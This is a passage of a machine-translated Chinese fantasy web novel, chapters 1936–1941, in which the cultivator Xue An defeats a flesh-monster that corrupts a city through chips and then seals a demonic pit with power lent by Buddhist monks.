    The street is wide, but messy. In the shadow of the corner, there are many people lying down and down, wearing helmets and enjoying the joy of electricity.


    The coquettishly dressed woman stood in the street grandiosely, while shedding clouds and fog, she did not wink at passing pedestrians.


    Almost all the bars on both sides of the street are different from the one in the small town. There is violent music faintly, which is obviously a serious bar.


    In short, this is a fallen city.


    When Xue An led the boy through the street, many people looked at them in secret.


    Especially Xue An, the temperament on his body, even in such a messy and degraded environment, he still radiates light and looks so extraordinary.


    But the most important thing is that the extremely abundant anger in him is simply incompatible with his surroundings.


    Only people who have never been addicted to chip stimulation can have this kind of vigor.


    Many people''s saliva almost flowed out, but frightened by Xue An''s power, no one dared to stop him for a while.


    It wasn''t until Xue An was about to walk out of this street that a woman with heavy makeup and a blood butterfly tattooed on her forehead stepped forward and stopped her way.


    "Hey, this uncle looks very faceless, is it the first time to come to the magic city?" The woman smiled and said, her eyes full of seductive charm.


    Xue An stopped, glanced at the woman, and then said lightly: "Get out!"


    As soon as this statement came out, half of the street was quiet.


    The woman''s face rose to purple in an instant, and anger appeared in her eyes.


    "Boy, don''t you know who I am? You dare to talk to me like this!"


    As she said, the woman raised her head proudly and pointed to this street, "I am in charge of this street. If I don''t let you go, you should not get out of this street!"


    "Oh is it?" Xue An suddenly sneered, "Then what if I go to Chiyue Bar?"


    Chiyue Bar!


    These four words seemed to have some magical power, and immediately calmed everyone who was gearing up.


    Including this woman who was blocking the road, her face was also blue and white, and she said dryly: "Who are you going to look for at Chiyue Bar?"


    "Do I need to tell you who I am looking for?" Xue An said coldly, and then stepped forward.


    The woman didn''t dare to stop her this time, she slumped aside, and watched Xue An''s back gritted her teeth secretly.


    But it''s just biting her teeth because she knows very well that she is not even an ant compared to Chiyue Bar.


    But why is this boy going there for?


    This woman had some ominous premonitions in her heart.


    According to the memory of the warship pilot, Xue An easily walked down the street to the front of the Chiyue Bar.


    As the leading bar in this magic city, it is naturally extremely prosperous and lively.


    Including the road in front of the door is crowded with people in all kinds of strange costumes.


    In contrast, Xue An looks less conspicuous.


    When entering the arena, Xue An''s eyes flashed when faced with the guards who were in charge of checking the guests.


    The guards just ignored Xue An as if they hadn''t seen them.


    Then Xue An stepped into this bar.


    What came oncoming was almost violent demonic energy.

 Chapter 1936： Space folding

    Everyone danced almost frantically under the extremely explosive music.


    Many people even have bleeding from their noses and mouths, but they are still swinging their bodies tirelessly.


    In this situation, a trace of black air drifted out of their bodies and gathered above the hall, forming a palpable black mist.


    The whole hall was filled with an atmosphere that was so corrupt that it was hopelessly corrupt, and the so-called **** was nothing more than that.


    The young man following Xue An''s eyes gradually turned into a trance, and he was obviously eroded by this atmosphere.


    Guanghua flashed in Xue An''s eyes, and a divine thought was given to this young man.


    The young man''s eyes instantly regained his clarity, and then his face paled by the scene in front of him.


    Because where is the human being dancing wildly in the hall, it is clearly a group of alien monsters.


    For example, a woman closest to them, who looked like a hot girl with a hot body before, turned into a monster with eyes all over her body, and stared at them both with evil eyes.


    Not only it, but almost the entire hall is such an indescribable terrifying monster.


    The boy only felt that his legs were soft in an instant, and his eyes were blackened, as if there was a silver needle in his head stirring madly, he felt like crazy.


    At this moment, Xue An said lightly: "Close your eyes and don''t look at them, and don''t try to understand them, otherwise you will be crazy!"


    Hearing this, the young man quickly closed his eyes and tried hard to restrain his mind. The intense pain finally eased a lot.


    "You stay here, with my spiritual protection body, they won''t take you like that."


    After that, Xue An walked into the bar.


    The young man almost cried when he heard this.


    Just throw yourself here? You must know that what you are facing now is a monster in the entire hall!


    But he didn''t dare to open his eyes, so he could only do his best not to let himself think about those things, while silently praying in his heart.


    Patience, all for revenge!


    But at this moment, he felt that the outside music suddenly stopped, and everything became quiet instantly.


    But this quietness is full of ominous.


    The young man''s heart was clenched into a ball.


    At the same time, he felt a slippery cold touch on his neck, as if a snake was crawling.


    The boy''s body immediately stiffened, and at the same time a sigh of relief sounded in his ears.


    "What a handsome little brother, tsk tsk, open your eyes and see how they are?"


    Following the voice, the boy felt an invisible force that made him want to open his eyes involuntarily.


    This can''t help scaring him to death.


    "Why? Didn''t the little brother open his eyes? They are very beautiful!" The female voice said in a lovely voice, seemingly full of grievances.


    The boy felt that his whole body was under control, and a faint light appeared before his eyes.


    In desperation, he burst out loudly, "Get out!"


    With a sound, an extremely magnificent spirit swept away in an instant.


    "No!" After a short and frightened scream, everything returned to calm.


    The young man was panting, even if the air was full of blood, he couldn''t care about it. After a long while, he breathlessly cursed.


    "Damn, you dare to lie to Lao Tzu, even if you have such a virtue, you can call yourself beautiful?"


    Xue An, who was walking towards the second floor of the bar, seemed to feel it, but didn''t look back, but a faint smile appeared at the corner of his mouth, and then he stepped forward.


    There is only a short flight of stairs between the first and second floors of this bar. According to common sense, this flight of stairs can be completed in less than one minute even at the speed of ordinary people.


    But Xue An has walked for three full minutes and still has half the distance.


    And every time you step up the stairs, the stairs in front of you will be extended by a certain length, even if Xue An speeds up, or even rushes forward at a speed as fast as a stream of light, the stairs will still be like this.


    The remaining half of the stairs seems to never finish.


    Xue An raised his eyebrows slightly and said coldly: "The space is folded? Then I will tear down your space!"


    After all, Xue An stepped down suddenly.


    boom!


    The majestic force went straight down.


    With a click, cracks appeared on the stairs in an instant, and then heard a faint howl in the void, and along the gaps in the stairs began to seep out the smelly blood.


    But the previous vision was gone, Xue An stepped out and boarded the second floor of the bar.


    Although it is an empty stairwell, the moment you walk up to the second floor, it feels like you have passed through a door, and the scene in front of your eyes is completely different from the one downstairs.


    red!


    As far as I can see, whether it is the wall or the floor, there is the kind of red like blood everywhere!


    And in this bright red, there is also a faint blue vein that is beating slightly.


    It feels like...animal guts.


    That''s right!


    The entire second floor is such a scene, and even the air is filled with a sickening smell.


    Xue An didn''t show the slightest surprise, as if he had expected it, he said lightly.


    "I''ve already come, do you still refuse to come out? Or do you have to let me bleed you before you will show up?"


    As soon as the words fell, the walls and floor not far in front suddenly began to surging, and then slowly gathered together, condensed into a blood-red body, tall, but the head is a triangular monster.


    The triangular eyes opened slowly, and the bitterness and evil contained in them were enough to make people with weaker minds crazy on the spot.


    But Xue An didn''t even blink his eyelids said lightly: "You spread out those chips?"


    The triangle monster stared at Xue An coldly, and then slowly said in a weird and dumb tone: "Human race powerhouse, this is not where you should be, as for those chips, it''s just a little trick of mine!"


    Xue An''s eyes gradually became cold, "Small means? Haha, is it a small means to erode the earth with the power of darkness and force the Buddha to sacrifice a monk every day to suppress it?"


    "Human powerhouse, although you have a trace of Buddha''s breath, you shouldn''t be a Buddha! So what does this have to do with you?" The triangle head slowly said.


    "Of course it does matter!" Xue An smiled coldly, staring at the triangle head coldly, "Because a Hydra escaped from my hand, and if I guessed it correctly, you... should come from the same one as him. Place it!"


    "Master Nine Heads?" The triangle head''s eyes were brilliant, and even Jie Jie laughed strangely, "Nonsense, depending on you, how can you be the opponent of Master Nine?"


    Xue An''s eyes gradually darkened, a little red light appeared between his eyebrows, and a huge coercion was vacillating around him.

 Chapter 1937： Everyone has flaws, and you are no exception

    "What about this strength?"


    The triangular head''s eyes changed abruptly, "In that case, you really have beaten Master Nine?"


    But soon, his eyes changed to a strange and chaotic state again, he said with a wicked smile.


    "What you just said is correct. I really sent out the evil creatures that eroded the earth to weaken the strength of this group of bald donkeys. Who made them so pedantic would actually sacrifice themselves for others!"


    "And you certainly can''t think of it, those devilish energy that condense the evil creatures are all I got from these monks who don''t hesitate to sacrifice themselves to protect themselves, isn''t it ironic? Hahahahaha"


    Triangle head laughed triumphantly.


    But in this extremely cheerful laughter, Xue An suddenly said coldly: "You have worked so hard to... it''s the underground thing!"


    As soon as the words came out, the laughter of the triangle head stopped abruptly, and then stared at Xue An, and roared: "What did you say? How do you know this?"


    Xue An''s eyes were cold, and his white clothes were even more like snow and jade. In this weird and **** environment, he was like an immortal.


    "Of course I know, because from the moment I stepped into this city, I knew that this entire city was actually transformed by your body, right?"


    In fact, Xue An felt something was wrong when investigating the memory of the warship pilot.


    When he saw this magic city, he finally confirmed his guess.


    Because these seemingly prosperous buildings are in essence transformed by endless resentment.


    Its purpose is for the thing underground.


    As soon as the words came out, the triangle head on the opposite side instantly quieted down.


    An extremely terrifying power was condensed and formed in the dark.


    "It seems that I really underestimated you, but you shouldn''t be so big, and actually came to this bar, because you are now in my belly!"


    The voice just fell.


    However, countless tentacles and vines suddenly grew on the surrounding walls and floor, covering Xue An like a sea of ??creeping flesh and blood.


    Wherever it goes, space breaks and time stagnates.


    This also shows how terrifying these tentacles and vines are.


    But more terrifying than this kind of attack is the omnipresent mental attack.


    As if countless mental patients are whispering in your ear, a maddening sense of consternation arises spontaneously.


    You may even feel that this world is so unreasonable.


    Even a Da Luo-level existence would instantly collapse when faced with this kind of attack, becoming a lunatic who lost his mind.


    But Xue An didn''t even have a slight expression on it, as if everything was just blowing the breeze, watching quietly.


    When these tentacles and vines just rushed in front of Xue An, there was a bang, Xue An''s body burst into flames, and boundless flames bloomed like lotus flowers, and its color was red and white, just like glass.


    The advanced version of Red Lotus Karma is finally here.


    In fact, after stepping into the Immortal King, Xue An rarely used the red lotus karma fire, but this time, he did it again.


    Because facing the boundless monsters, fire is the best way to attack.


    In an instant, these tentacles and vines turned into fly ash, and the flame spread up, attached to the walls and the floor, and burned crazily.


    The triangular head howled miserably, and then roared in anger and anger: "Red and white flames, why do you have such a **** flame?"


    Xue An smiled coldly, "Are you surprised? But... it''s just the beginning!"


    When the words fell, Xue An''s figure had rushed to the front of the triangle head, and at the same time he exhaled and opened his fist, directly blasting.


    Bang!


    After a very dull loud noise, the triangular head was blasted into blood.


    But Xue An knew that this would not kill it.


    really.


    I saw the blood melted into the floor and the walls in an instant, and then a sarcasm voice came from the void.


    "No matter how powerful it is? As long as I get into my stomach, I still have to die!"


    When the words fell, the walls and floor suddenly began to shake, and layers of blood gas were filled. These blood gas was strongly corrosive, and even the space was eroded out of big holes.


    Xue An''s eyes condensed slightly, and then he stepped down. The red lotus karma fire suddenly spread along with the layers of sword light, sweeping away the blood around him.


    But only a moment later, the blood was filled again, and then continued to press towards Xue An.


    Xue An''s expression sank, and he took a step forward and threw out his fists.


    Boom!


    After a loud noise, the punch directly shattered a wall that was constantly squeezing.


    But only a moment later, these broken blood gas condensed into one again.


    This triangular head laughed extremely cheerfully in the void.


    "Jie Jie Jie, it''s useless. Any resistance and struggle are useless in front of my extremely powerful digestion. You will soon become the best food I have ever caught. After all, those bald donkeys all day long. Being a vegetarian, even the meat is very weak!"


    Speaking of this, the triangular head became more and more excited, and then his figure appeared on the ceiling.


    "Have you seen? These blood qi will corrode your skin first, then the bones, and finally the internal organs. In the end, even the most indigestible hair will be digested completely. Then the world will no longer have you. There is a trace of existence, but I can take your place! Hahahahaha!"


    The triangle head shouted with excitement.


    Unexpectedly, he did not see the slightest expression of fear on Xue An''s face, and he did not even lift his eyelids.


    This couldn''t help but astonish him, "Aren''t you afraid of what I said?"


    "Afraid? Of course not!" Xue An smiled coldly, then raised his head to look at the triangle monster on the ceiling, "You just called the Hydra Lord Nine Heads, right?"


    "So what?"


    "Haha of course not so much, but there is a problem." Xue An''s eyes became cold, "Judging from your current strength, it is not inferior to that Hydra. , Then why do you use honorifics for it?"


    The triangle head''s eyes changed.


    Xue An went on to say: "For your existence, it must be divided according to strength. If you call it an adult, it means that your strength is not as good as it. So... you must have one of these abilities. Fatal flaw, am I right?"


    As soon as this statement came out, the shape of the triangular head began to change rapidly, from the standard triangle at the beginning to a square, a rectangle, or even a circle.


    Because it really didn''t expect Xue An to reason out so much based on just one name of himself.


    It roared hysterically: "So what? But my flaws, you will never find them."


    "Haha!" Xue An chuckled lightly, then shook his head, "You are wrong, as long as it is a defect, it will definitely be found!"


    "Even you... is no exception!"

 Chapter 1938： Strong when strong, weak when weak

    When the words fell, Xue An stepped on it, and the entire second floor shook, and then a dazzling sword intent appeared in front of Xue An.


    Xue An waved his hand, and the sword intent flew straight back, wherever he passed, all the tentacle vines turned into blood mist, and then blasted a big hole in the wall.


    The triangle headache screamed, but he still roared ferociously: "It''s useless, let go of these unnecessary struggles!"


    really.


    In just a moment, the big hole that was blasted started to heal wildly.


    This perverted ability to recover is desperate enough.


    Xue An smiled coldly, then drooped, and said lightly: "Aren''t you going to avenge your parents? Now the opportunity is here!"


    This sentence came directly into the boy''s ear through the big hole that was about to heal.


    Coming together, there was that dazzling sword light.


    The boy shook all over, then slowly opened his eyes.


    At this time, the hall on the first floor has become a sea of ??blood, with countless stumps and broken arms scattered on the ground, **** and disgusting.


    There was a look of doubt in the boy''s eyes, but at this moment, the sword light flying around him suddenly stopped in front of him, and then Xue An''s voice came from above.


    "Take this sword and go upstairs to avenge your parents!"


    The young man''s expression was solemn, and then he stretched out his hand and slowly held the sword light.


    Click!


    As soon as he started, Jianmang instantly turned into a long sword.


    Then the boy staggered across the **** ground and walked to the second floor.


    at the same time.


    In this second floor, the battle is in full swing.


    The tentacles were mixed with extremely poisonous blood mist, attacking Xue An from all angles.


    But before he rushed to the front, he was cut off by Jianmang.


    But these tentacles regenerate extremely fast, often just after being cut off in the last second, they regenerate in the next second, and continue to attack tirelessly.


    Xue An''s complexion became a little pale, and Jian Mang''s speed began to lag slightly.


    When the triangle head saw this, he couldn''t help laughing proudly, "No wonder I always feel that something is wrong with you, it turns out that you have always been suffering from internal injuries! Hahahaha, now I see how long you can survive, you know that my tentacles are Endless, even if you are tired, you can be exhausted alive!"


    In the end, the laughter of the triangle head became more and more frantic.


    Xue An was expressionless, just looking at the triangle head coldly, as if waiting for something.


    It was at this time that the young man held the sword light in his hand and had already ascended to the second floor.


    Unlike the scene Xue An had seen, what appeared in front of him was a dilapidated corridor, and in the middle of the corridor was a large sticky and dirty flesh and blood.


    This piece of flesh and blood occupies the size of half a corridor, and it wriggles slowly like a slug.


    There was a very disgusting and unpleasant smell in the air, which made the young man look extremely ugly.


    But even so, the boy still clenched the sword light in his hand, and then plucked up the courage to walk forward.


    To him, although the group of flesh and blood in front of him was terrifying, it was still nothing compared to revenge.


    In fact, from the moment he stepped on the second floor, the boy had already put his life and death out of his mind.


    The ground was slippery and sticky, and the boy walked a bit staggering, but unexpectedly, nothing happened along the way, and he came to this group of flesh and blood in peace.


    The fishy smell became more pungent, the boy held his breath, raised the sword light in his hand, and slammed it down with a sharp sword.


    puff!


    Just like cutting butter with a hot knife, Jianmang easily chopped off a large piece of flesh and blood.


    The smelly blood was splashing everywhere, and the smelly person was almost nauseous.


    And this group of flesh and blood trembled violently, but other than that, there was not even any counterattack.


    Upon seeing this, the young man once again raised the sword in his hand and severely cut it down.


    at the same time.


    In the flesh and blood, the triangular head that was arrogant and proud, and believed that Xue An was bound to die, suddenly began to howl in pain.


    "What is going on? How can anyone hurt my body?"


    The triangular head roared angrily.


    Xue An laughed, full of sarcasm, and then said lightly: "I said that everyone has flaws, and you are no exception, so I have been thinking about your flaws until just now, I''m finally sure!"


    "You are really strong, but your strength is relative, which means that the stronger the opponent you meet, the more powerful your strength will be. But if the opponent is just an ordinary mortal, then your ability is better than that. Slugs are not much stronger, am I right?"


    Xue An''s words made this triangle head look frantically changed, and at the same time, the youngsters from the outside were still waving their swords continuously.


    This caused his body to shrink rapidly, and finally a look of horror appeared in his eyes.


    "You bastard... you actually let a humble mortal hurt me, I want to kill you!"


    The triangle head was angry and attacked Xue An desperately.


    Xue An just smiled coldly, "Humble mortal? Ha ha, do you know who is beheading you now? His parents died under your chip, and now the cause and effect cycle, you too You will eventually die under the evil consequences of your own hands. At this time, are you still talking about nobility with me?"


    The triangle head was already stunned by the anger, and naturally ignored Xue An''s words.


    He just wanted to swallow Xue An now.


    Because only in this way can I have a chance of life.


    Because as Xue An said, his talent is strong and weak and weak.


    This also caused him to face the strong The strength is extremely astonishing, even more terrifying than the Hydra that can be immune to the second damage, because in a sense , It is immortal at this time.


    But if it encounters a mortal, it will be completely ruined. For example, now, when faced with this young man''s hack and slay, it even has no power to fight back.


    It stands to reason that this situation will never happen, because the triangle head is self-aware, so it will never be exposed to ordinary people��s sight. This is why it has been hiding behind the scenes and controlling other people through the chip. For the sake of it.


    This could have been foolproof.


    Unexpectedly, it ran into Xue An today, and it happened that Xue An also brought an ordinary teenager who didn''t even have any cultivation base, but was eager for revenge.


    Under this kind of coincidence, it immediately fell into the shadow of death.


    Seeing that he was about to die by the hands of a mortal, this triangular head was going crazy.


    As a monster that has survived countless years and has spent a lot of effort to come to this place, he will never be reconciled to this failure, because he roared to swallow Xue An completely.

 Chapter 1939： All appearances are false!

    In the face of such a crazy attack, a mocking smile appeared on Xue An''s mouth.


    "Why? Want to use me as a shield? Or do you really think... I am not your opponent?"


    When the words fell, Xue An''s eyes were bright, and then he let out a deep cry.


    "cause and effect!"


    boom!


    The power of causation that had not been used for a long time instantly froze the triangular head.


    But the triangular head only struggled a bit before getting rid of control, and then grinned wildly and said: "It''s useless, I am not you, the thing of the heavens, how can cause and effect be tied to me?"


    This sentence caused Xue An''s pupils to shrink instantly.


    Because he finally confirmed the origin of these monsters.


    Sure enough, isn''t it the original creature of the heavens?


    So what is their purpose here?


    These thoughts flashed in Xue An''s mind.


    at the same time.


    Because of the chopping of the young man, the triangular head, which was bleeding out of his body, exploded into blood mist suddenly, and then turned into a colorful python, opened his blood basin and swallowed it towards Xue An.


    At this moment, it is extremely anxious to swallow Xue An and digest it, because only in this way can it have a ray of life.


    At this time, Xue Anye had suppressed the doubts in his heart, and then sneered, "Since karma is useless, how can you kill me?"


    After all, Xue An''s eyes flashed with brilliance, and he whispered: "All appearances are vain!"


    boom!


    As soon as this remark came out, Xue An''s body was full of glory, and the blood stains that had been splashed down instantly vanished.


    At the same time, Xue An''s face became extremely beautiful, and the pores on his body closed instantly, and there was not even a trace of dust and dirt around his body, like a jade Buddha statue, which was delightful and admirable.


    If there is a Buddha cultivating here, you will surely exclaim when you see this scene.


    Because now Xue An''s state is the unsullied body that is extremely difficult to achieve in the Dharma.


    The so-called innocence refers to a kind of high and deep realm that is free from ten directions of cause and effect, not contaminated with fine dust, and transcendence.


    Once promoted to this state, all cause and effect will be temporarily cut off, and the attack will naturally be invalid.


    Because even the cause of your existence is no longer there, you are the same as not existing, so how can you attack you?


    At the same time, the giant python transformed by the triangular head also rushed, but this time, his big mouth in the blood basin had no effect on Xue An.


    Even the dripping blood fell aside obediently as if following a certain will.


    "Buddha cultivation? How could you still have such a high level of Buddhism cultivation? Are you not sword cultivation?" The triangular head roared in anger.


    Xue An smiled faintly, "Can''t I practice both Buddha and sword? Why? Do you have an opinion?"


    The triangle head wanted to say something, but at this moment, its huge snake head was suddenly cut off, and blood poured out wildly.


    In the distance, the voice of the teenager faintly came.


    "My lord, are you in there?"


    While talking, there was a bright sword light from afar.


    At this time, the triangular head could no longer maintain its specific form, and the giant python broke apart and turned into nothingness.


    There was still a faint dark shadow in the midair, but it could be seen that this dark shadow had already reached the point where the oil was exhausted and the lamp was dry.


    A terrified voice came from the void, "I am willing to pay all the price, I only ask you to spare my life!"


    "Forgive me? You should go and tell those words to those who have been manipulated by you to collapse and die!"


    Words fall.


    A sword light exploded suddenly, cutting the whole group of flesh and blood in half.


    An extremely unwilling cry came from the void, "I won''t let you go, all of you will die!"


    When the words fall, everything returns to silence.


    The flesh and blood that originally covered the entire second floor also turned into fly ash at the same time, disappearing instantly.


    The young man who was bravely swinging his sword was stunned for a moment, because he suddenly found that his benefactor was standing not far ahead, and the whole body was shining with golden Buddha light, which made people feel so peaceful.


    "Bodhisattva... Bodhisattva...?" The young man murmured, and the sword light in his hand suddenly disappeared.


    At the same time, the golden light covered by Xue An''s body also shattered at the same time, and the whole person fell out of the Unsullied Realm at once.


    "My lord!" The young man was shocked and just about to step forward.


    Xue An has already settled, and then waved at him, "I''m fine!"


    In fact, it was not easy for Xue An to maintain such a clean state for a while.


    After all, he is not a true Buddhist cultivator, and even this trick he learned from the disappeared Yuesha monk in Dingchan Temple.


    Being able to advance to this realm depends entirely on his profound strength and unique insights into the universe and everything.


    At this time, the boy looked at this ordinary corridor blankly, and then asked: "Is it dead?"


    Xue An nodded, "Yes, your enemy just died under your sword, and your revenge has already been taken!"


    As soon as the words came out, the young man threw himself to his knees, tears bursting into his eyes.


    "Mom and Dad, the children are not filial, and finally avenge you!"


    Xue An did not dissuade him, because no matter who it was, he would be very excited at this time.


    He just walked to the window on the second floor and stared at the city outside.


    There was a sudden change at this moment in the city that was feasting and drunk.


    First, the lights in the sky began to go out one by one, and then, the skyscrapers began to shake and collapse.


    But before these stones fell to the ground, they disappeared in the air.


    Many people who were addicted to the sensuality of the dogs and horses and couldn''t help themselves, suddenly woke up at this moment, and then were shocked by the scene before them.


    Immediately afterwards, the whole city began to collapse, countless evil things disappeared, and the surviving humans screamed.


    Xue looked at him quietly, then looked up at the sky.


    At this time, the huge Buddha statue in the sky is slowly turning around, which also means that night is coming.


    A cold glow appeared in Xue An''s eyes, and then took a deep breath, stepped out one step at a time, came to the outside high in the sky, and shouted in a deep voice.


    "The evil spirit has been given the first, when will you still meditate?"


    The words went straight to the sky, causing the many temples floating on the clouds to tremble.


    In an instant, golden light appeared in these temples, and then they heard the sound of Buddha''s horns coming from them.


    "Nanwuwu Buddha!"


    "Nanwu Golden Buddha!"


    Following the voice, I saw a thin monk flying out of the temple.


    These monks are without exception, all of them are eminent monks with Taoism looming behind their heads.


    But it seems that the meditation time is so long that they are all at a loss.


    Especially when they saw this demon city that was collapsing above the ground, they all shook.


    "Nan Wuwu Buddha, what is going on? How could this evil lair suddenly collapse?"

 Chapter 1940： King Kong Lion Roar

    "Yes, the breath of the evil thing has disappeared!"


    One of the old white-browed monks stepped forward, stared at Xue An deeply, and then put his palms together in a salute.


    "Amitabha, dare to ask who the benefactor is? What happened here?"


    Xue An looked at the monks who had practiced a little detour and shook his head.


    "My name is Xue An, and the evil thing here has just been eradicated by me."


    Xue An?


    The monks looked at each other, and they had never heard the name.


    But this does not prevent their vibration.


    "What did you say? This evil thing has been wiped out by you?" The old white-browed monk said in a shock.


    Xue An smiled and nodded.


    at the same time.


    The huge Buddha statue in the sky has turned around, and darkness has enveloped the earth.


    Among the group of monks, a monk walked out slowly, with his palms folded together, "Brothers, I want to go one step first."


    After all, he looked determined and wanted to fly to the iron pillar in the distance.


    This has been their practice over the years.


    Since these evil creatures began to make trouble at night a hundred years ago, a monk would use his merits to strengthen the iron pillar and suppress the darkness every night.


    The price is that these monks will die without exception.


    This is also because of the core pure land that was so prosperous at the beginning, but at this moment only their monks remain.


    Because most of the monks are already martyred.


    At this moment, according to the pre-arranged order, the monk was just about to go to the iron pillar.


    Xue An suddenly stopped the way.


    "Wait!"


    The monk was taken aback for a moment, "Donor, what do you mean? Get out of the way, otherwise, once those evil things overthrow the iron pillar, the whole world will be overthrown."


    "Then you just continue to consume it like this? When you are all dead, what should you do next?" Xue An said coldly.


    These monks bowed their heads and fell silent. The old white-browed monk couldn''t help but smiled bitterly: "Donor, we also know that this is not a long-term solution, but if we don''t do this, these evil things will quickly pollute this pure land. Really powerless!"


    "So even if we sacrifice all of us, we must stick to the last pure land of this side." The old monk said very firmly.


    Although the rest of the monks did not speak, they clasped their hands together, showing determination and determination.


    Looking at these monks, Xue An couldn''t help but sigh.


    It is undeniable that these people have indeed practiced Buddhism almost pedantically, but in any case, this spirit of sacrificing themselves is still moving.


    No one can criticize such a group of people.


    So he sighed softly, "Well, there is no need to do this again in the future. If you die like this, it will not exceed a year. Even if this pure land is not polluted, it will be broken."


    "Then these evil things..."


    Xue An waved his hand, looked down at the ground where the huge cracks were beginning to crack, and said lightly: "I have a way to solve all this fundamentally!"


    These monks shook together, and the old white-browed monk said eagerly, "What can be done?"


    Xue An raised his head and smiled at them, "This method requires unreserved help from all of you, and it may even damage your cultivation base. Are you willing?"


    As soon as the words fell, these monks nodded without hesitation.


    joke.


    They are people who are willing to sacrifice their lives for the ideals in their hearts, and their cultivation is damaged. Compared with solving these evil things, it is nothing to mention.


    Xue An looked down at this huge magic city, and said quietly: "All the crux of the matter originates from the thing underground, so as long as it is eliminated or suppressed, everything can be solved."


    "And all you have to do is to lend me all your Buddhist and Taoist cultivation bases."


    The white-browed monk glanced at Xue An deeply, then folded his palms together, "If that''s the case, it shouldn''t be too late, so let''s do it now."


    "Yes!"


    These monks did not have the slightest hesitation or reservation, almost completely urging their own cultivation base at the moment they just agreed.


    Especially this old monk with white eyebrows, the golden wheel behind his head is as bright as the sun and the moon.


    Then these people put their palms together and bowed their heads.


    The golden light all over his body rushed out from the top of his head and turned into a torrent to rush towards Xue An.


    boom!


    Xue An was a masterpiece of golden light, and a magnificent golden wheel appeared in the back of his head.


    In an instant, Xue An entered the Unsullied Realm again.


    Seeing this scene, the eyes of this old white-browed monk couldn''t help showing shock.


    Because only a Buddha like him can understand what this unsullied state means.


    But this is just the beginning.


    But seeing Xue An take a step forward, he said lightly: "All the Tathagata, body, speech, and karma are all pure."


    Words fall.


    Xue An''s figure suddenly changed, and his face that had become extremely beautiful as a result of being promoted to the Immaculate Realm suddenly became immature.


    The whole person''s aura has become flexible to tough, like a little boy, innocent and full of vicissitudes.


    The old white-browed monk trembled violently, and whispered softly with shocked eyes: "Rutong!"


    Childhood!


    A realm even rarer than the unsullied realm.


    It can only be achieved by a person who is extremely determined and pure in mind.


    After entering, it looks like a child, but has incredible power.


    at the same time.


    The golden wheel in Xue An''s mind became brighter, and at the same time a crystal clear red lotus appeared under his feet.


    He pointed his finger to the ground and said lightly: "Open!"


    boom!


    In a word, the ground of this magic city splits on both sides instantly.


    What is even more mysterious is that no creature was injured in the whole process.


    Even the ants were safe and sound.


    A big bottomless hole appeared on the ground, and in an instant, violent black energy rushed out of it, disguising all kinds of weird and terrifying evil things, and rushed towards Xue An and the others with their teeth and claws.


    Xue An was expressionless, raised his hand and extended a finger, pointing it in the void in front of him.


    Snapped!


    After a soft sound the void rippled like water, and rushed towards the evil thing that came.


    When it was near, the shallow ripples had turned into huge waves, instantly destroying the first wave of attacks by this evil thing.


    However, these evil things were born with evil spirits, invisible and innocent. Although they were destroyed, they recovered in a flash, and then rushed again.


    Xue An lowered his eyes, the light on his face became more holy, and his black hair was like black jade.


    Then Xue An said slowly: "All laws, no self, no one, no sentient beings, no life!"


    "It''s for King Kong!"


    When the words fell, behind Xue An, a huge illusion of Buddha suddenly appeared.


    This Buddha statue is as high as one million feet high, and its face is as majestic as the emperor of heaven, while his eyes are wide open and his face is angry.


    The white-browed old monk looked up at the phantom, and murmured like a moan: "King Kong is angry! This is the roaring King Kong lion!"

 Chapter 1941： Xue An, I have seen the Lord!

    At this moment, Xue An hovered in front of the roaring King Kong lion, looked at the evil thing rushing towards him with a grim face, suddenly raised his hand, and slapped it with a palm.


    And following Xue An''s movements, the King Kong statue behind him slowly raised his hand and shot down.


    boom!


    But seeing the huge palm shining with bright golden light, it hit these evil things like the sky and the earth.


    As soon as the two touched, the black energy was instantly evaporated, and then the giant palm slowly pressed down into the big hole with the supreme might.


    Wherever it went, the black energy turned into nothingness.


    However, the black energy seemed to be wise, it immediately converged back when the situation was bad, and then condensed together at the entrance of the cave, forming a thick defensive shield, trying to stop the palm of the King Kong colossus.


    boom!


    After another loud noise, the giant palm slammed into the defensive formation formed by the condensation of the black energy.


    In an instant, an invisible shock wave swept across the entire area of ??hundreds of thousands of miles, and houses collapsed wherever they passed, but the magical thing was that no one was injured even the slightest.


    These monks were also shocked and withdrew, and then looked at the scene in front of them with shock.


    "This benefactor... is it the reincarnation of a certain Buddhist power?" The old white-browed monk muttered to himself.


    Because only this can explain the tremendous power Xue An now possesses.


    At this moment, I only heard a crackling sound, and then saw cracks appear on the defensive formation formed by the black energy.


    at last.


    This defensive force could not be supported, and it broke apart suddenly, turning into a sky full of powder.


    However, the giant palm was not eliminated, and it still fell slowly.


    The earth quaked, and the glory was everywhere.


    The screams of countless evil things faintly came from this bottomless hole, and then he returned to Ji.


    With this palm, the whole earth suddenly calmed down, and all the evil things that had jumped out of the ground at this time disappeared.


    For more than a hundred years, this world finally had a peaceful and peaceful night.


    At the same time, the brilliance gradually dissipated, and the opening of this big hole has melted into a glass shape, which shows how powerful the palm just now is.


    Xue An left the statue of King Kong and fell in front of the cave entrance, looking down at the bottomless cave, his gaze flickered slightly, and then said lightly.


    "You wait here, I''ll go down and take a look!"


    After all, without waiting for these monks to respond, Xue An jumped down.


    Before the monks hurriedly flew to the entrance of the cave, their faces all showed dignity.


    "This benefactor is too reckless, just go down alone, what if you encounter danger?" a monk said worriedly.


    "Yeah! Or I will go down and help the donor Xue!" The monk who had been stopped by Xue An was eager to try.


    He was upright, thinking that Xue An had saved him, so he always wanted to repay him. Now that Xue An might be in trouble, he naturally couldn''t sit back and watch.


    But the old white-browed monk stopped everyone, "Wait! Don''t act rashly. This Xue donor understands what he said, let us wait here, then we''d better be obedient."


    "As for you to go on and help him..." The old white-browed monk smiled bitterly.


    "With your current strength, can you really help him? Or will it be a drag?"


    As soon as this remark came out, all the monks were silent.


    The old white-browed monk said indifferently: "So what we should do most now is to meditate here and wait. After all, we lent him the power of Xue Shizhu. If you meditate sincerely here, the Buddha power in Xue Shizhu will be strong. One point, this is the greatest help to him!"


    The monks nodded, and then separated two guards. The rest of them all sat around the entrance of the cave and began to meditate with their eyes closed.


    The majestic power of Buddhist thoughts turned into white light, and then flew into the hole.


    These white lights will be directly blessed to Xue An''s body through a mysterious and mysterious way.


    At the same time, Xue An was galloping in the darkness of nothingness.


    His speed can be described as fast to the extreme, in the darkness like a light, passing by in a flash, the long tail flame dragging behind even divided the darkness into two halves.


    At Xue An''s speed, just such a brief moment is enough to span hundreds of millions of miles of stars.


    But the darkness seemed endless, and there was still no end in sight.


    If it were other people, facing such a weird situation, they would have stopped moving forward.


    After all, how big can this core pure land be? It can''t be bigger than the star field of billions of miles, right?


